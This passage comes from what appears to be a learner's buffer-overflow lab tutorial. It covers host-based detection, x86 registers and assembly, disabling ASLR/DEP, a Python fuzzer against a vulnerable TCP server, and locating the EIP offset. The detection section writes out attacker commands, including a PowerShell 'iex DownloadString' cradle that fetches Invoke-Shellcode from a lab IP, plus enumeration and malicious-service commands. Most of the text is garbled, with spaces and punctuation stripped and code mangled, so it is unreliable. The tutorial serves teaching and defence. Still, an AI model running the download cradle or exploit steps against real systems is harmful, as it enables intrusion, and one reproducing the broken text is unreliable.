payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

